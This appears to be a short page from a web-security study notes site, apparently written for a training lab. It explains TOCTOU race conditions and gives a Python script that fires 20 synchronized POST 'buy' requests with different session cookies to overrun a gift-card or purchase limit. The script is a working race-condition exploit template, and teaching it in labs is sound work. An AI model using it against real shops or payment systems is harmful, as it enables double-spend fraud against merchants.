Skip to content
Request-level barrier

Request-level barrier

Race condition — threading.Barrier before the request

A race condition exists when an operation’s result depends on the order in which concurrent requests reach shared state. A common pattern is TOCTOU, or time-of-check to time-of-use: the application checks a balance, limit, or token first and updates it later. Several requests can all pass the check before the first update becomes visible.

A thread is one independently scheduled path of execution inside the Python process. threading.Barrier(N) accepts the required number of participating threads. Each call to barrier.wait() pauses its current thread; the barrier releases them only after all N calls have arrived.

Placing the barrier immediately before requests.post() starts the high-level request calls together. Each call still performs connection acquisition, request serialization, and transmission after release, so their arrival times may differ slightly. This pattern is normally sufficient for a wider TOCTOU window.

import requests
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

THREADS = 20
barrier = threading.Barrier(THREADS)

def fire(cookie):
    barrier.wait()
    r = requests.post(URL, data={"buy": 1}, cookies={"PHPSESSID": cookie}, verify=False, timeout=5)
    return r

with ThreadPoolExecutor(max_workers=THREADS) as ex:
    futures = []
    for cookie in cookies:
        future = ex.submit(fire, cookie)
        futures.append(future)

    results = []
    for future in as_completed(futures):
        result = future.result()
        results.append(result)

Find by: race condition, toctou, barrier, threading, concurrent, parallel requests, limit overrun, gift card, double spend, synchronize, fire together · Source: CWEE/Gift Card